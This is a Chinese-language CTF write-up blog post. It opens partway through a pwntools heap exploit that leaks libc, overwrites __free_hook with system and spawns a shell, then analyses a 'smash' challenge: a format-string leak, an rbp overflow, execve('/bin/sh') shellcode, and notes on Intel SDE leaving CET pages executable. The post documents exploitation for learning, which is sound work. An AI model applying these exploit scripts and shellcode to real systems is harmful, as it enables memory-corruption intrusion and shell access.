pd += p64(heapbase + 0x12960) + p64(heapbase + 0x12988)
pd += p64(heapbase + 0x129a0)
add('BBBB', 0x70, pd)  # 3 last
success('heapbase = ' + hex(heapbase))
p.sendlineafter('Your input: ', '1')
p.recvuntil('0 : ')
addr___malloc_hook = u64(p.recv(8)) - 0x10 - 1136
libcbase = addr___malloc_hook - libc.sym['__malloc_hook']
addr___free_hook = libcbase + libc.sym['__free_hook']
addr_system = libcbase + libc.sym['system']
addr_bin_sh = libcbase + libc.search('/bin/sh').next()
p.sendlineafter('Index:\n', '1111')
# -*- 2 fill unsorted bin -*-
add('BBBB', 0x5d, 'eeee')  # 5
# -*- 2 adequate 0x40 tcachebins -*-
add('BBBB', 0x14, 'eeee')  # 6
add('BBBB', 0x14, 'aaaa')  # 7
# -*- 2 avoid malloc consolidate -*-
add('BBBB', 0xd, 'eeee')  # 8
# -*- 2 overlap chunk -*-
delete(3)
delete(2)
delete(7)
delete(6)
pd = 'a' * 0x40
pd += p64(addr___free_hook)
pd = pd.ljust(0x400, '\x00')
# 3 /bin/sh\x00
pd += p64(addr_bin_sh)
add('BBBB', 0x70, pd)  # 3 last
add('BBBB', 0x60, pd)  # 3
add('BBBB', 0x16, 'aaaa')  # 2
add('BBBB', 0x16, p64(addr_system))  # 7
# gdb.attach(p, 'brva 0x266e\nbrva 0x3371\nb free\nb malloc\nb system\nc\nc')
p.sendlineafter('Your input: ', '5')
success('libcbase    = ' + hex(libcbase))
success('addr_system = ' + hex(addr_system))
p.interactive()

smash

查看保护

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled

用 ghidra 查看源码

main 函数

void main(void)
{
    char* pcVar1;
    byte* pbVar2;
    dprintf(1, "Input name > ");
    pcVar1 = vuln(0x0, 0x20);
    __dprintf_chk(1, 1, pcVar1);
    dprintf(1, "\nOK? [y/n] ");
    pbVar2 = vuln(0x0, 0x38);
    if((*pbVar2 | 0x20) == 0x79){
        dprintf(1, "\nInput message > ");
        vuln(pbVar2, 0x38);
    }
    dprintf(1, "\nBye!\n");
    return;
}

vuln 函数

char* vuln(char* param_1, long param_2)
{
    ssize_t sVar1;
    size_t __n;
    char* pcVar2;
    char local_38[44];
    int local_c;
    if(param_2 != 0){
        sVar1 = read(0, local_38, param_2 - 1);
        local_c = sVar1;
        if(-1 < local_c){
            local_38[local_c] = '\0';
            if(param_1 != 0x0){
                __n = malloc_usable_size(param_1);
                pcVar2 = strncpy(param_1, local_38, __n);
                return pcVar2;
            }
            pcVar2 = strdup(local_38);
            return pcVar2;
        }
    }
    return 0x0;
}

输入名称功能占用 0x20 字节的用户输入,然后执行 strdup,将我们的输入存储在堆中。

dprintf 在没有任何格式说明符的情况下,在我们的输入上调用 next,因此我们可能会通过格式字符串错误泄漏所需的地址。

之后,我们被要求输入 y 或 n,如果 y 被输入,程序将进一步询问另一个 input message,然后接受另一个 0x38 字节的输入。

如果 n 输入,程序将使用 dprintf 打印 Bye 并直接退出

CET 特性

开启 CET 的程序会在执行完 endbr64 指令后将后面的一段代码存入影子栈里

之后会在 SDE 里执行一堆指令,直到 popf 或者是 popfq,在执行完任意一个 popf 的指令后

SDE 里会将执行流跳转到影子栈中,去执行当前的 endbr64 及后面的代码

popfq 相对于 ./sde/intel64/pinbin 的基地址偏移为 0x349e9f

   0x7fb75409ae96:    mov    rax, rbx
   0x7fb75409ae99:    push   qword ptr [rax + 0xb0]
   0x7fb75409ae9f:    popfq
   0x7fb75409aea0:    mov    rdi,QWORD PTR [rax]
   0x7fb75409aea3:    mov    rsi,QWORD PTR [rax+0x8]
   0x7fb75409aea7:    mov    rbp,QWORD PTR [rax+0x10]
   0x7fb75409aeab:    mov    rsp,QWORD PTR [rax+0x18]
   0x7fb75409aeaf:    mov    rbx,QWORD PTR [rax+0x20]
   0x7fb75409aeb3:    mov    rdx,QWORD PTR [rax+0x28]
   0x7fb75409aeb7:    mov    rcx,QWORD PTR [rax+0x30]
   0x7fb75409aebb:    mov    r8,QWORD PTR [rax+0x40]
   0x7fb75409aebf:    mov    r9,QWORD PTR [rax+0x48]
   0x7fb75409aec3:    mov    r10,QWORD PTR [rax+0x50]
   0x7fb75409aec7:    mov    r11,QWORD PTR [rax+0x58]
   0x7fb75409aecb:    mov    r12,QWORD PTR [rax+0x60]
   0x7fb75409aecf:    mov    r13,QWORD PTR [rax+0x68]
   0x7fb75409aed3:    mov    r14,QWORD PTR [rax+0x70]
   0x7fb75409aed7:    mov    r15,QWORD PTR [rax+0x78]
   0x7fb75409aedb:    jmp    QWORD PTR [rax+0xb8]

当模拟器运行到 popf 时会返回程序内部函数,之后执行程序代码
该处代码位于 CET 申请的页里,个人觉得这个地方应该不能叫做影子栈

这块应该是 CET 内部的 间接分支检查 所申请的页

这段代码是我用于测试的 shellcode

   0x7fb73fa427c0:    and    BYTE PTR [r14+0x2f51],0xf7
   0x7fb73fa427c8:    mov    QWORD PTR [r15+0x40],rsp
   0x7fb73fa427cc:    lea    rsp,[r15+0x34d0]
   0x7fb73fa427d3:    push   QWORD PTR [r15+0xd8]
   0x7fb73fa427da:    popf   
   0x7fb73fa427db:    mov    rsp,QWORD PTR [r15+0x40]
=> 0x7fb73fa427df:    xor    rsi,rsi
   0x7fb73fa427e2:    push   rsi
   0x7fb73fa427e3:    movabs rbx,0xff978cd091969dd1
   0x7fb73fa427ed:    neg    rbx
   0x7fb73fa427f0:    push   rbx
   0x7fb73fa427f1:    xor    rdx,rdx
   0x7fb73fa427f4:    mov    rdi,rsp
   0x7fb73fa427f7:    push   0x3b
   0x7fb73fa427f9:    pop    rax
   0x7fb73fa427fa:    jmp    0x7fb73fa67b18

解题思路一

在 vuln 函数里有这样一段代码,local_38 到 rbp 的距离是 0x30

sVar1 = read(0, local_38, param_2 - 1);

但是 param_2 - 1 的值是 0x37,也就是说我们可以覆盖掉 rbp
因为正常来讲我们不能依靠 ROP 来获得权限,所以这里我们依靠 shellcode 来获得权限

程序开了 NX 保护,所以单独运行程序是不能利用 shellcode 提权的,但是这道题可以

因为这道题的程序是依靠 SDE 运行的,也就是说在 SDE 里会执行程序的代码

虽然程序靠开了 NX 保护,但是 SDE 模拟器中并没有开启这个保护

利用 vmmap 可以看到 SDE 模拟器中的影子栈和申请的页都是可执行的

那么利用 SDE 在执行完 popf 后执行程序代码的特性,写入 shellcode 就可以提权了

   0x56317162226b    call   __dprintf_chk@plt 
 
   0x563171622270    lea    rsi, [rip + 0xd9b]
   0x563171622277    mov    edi, 1
   0x56317162227c    mov    eax, 0
   0x563171622281    call   dprintf@plt
 
   0x563171622286    mov    esi, 0x38
   0x56317162228b    mov    edi, 0
   0x563171622290    call   vuln
 
   0x563171622295    mov    qword ptr [rbp - 8], rax
   0x563171622299    mov    rax, qword ptr [rbp - 8]

在执行完 vuln 函数后,我们已经依靠溢出操作更改了 rbp
且 rax 为 vuln 中 strdup 申请的堆地址

   0x563171622295    mov    qword ptr [rbp - 8], rax
   0x563171622299    mov    rax, qword ptr [rbp - 8]

这时利用这两步操作就可以把堆地址写入到 rbp - 8 的地址中了

点赞

发表评论

电子邮件地址不会被公开。必填项已用 * 标注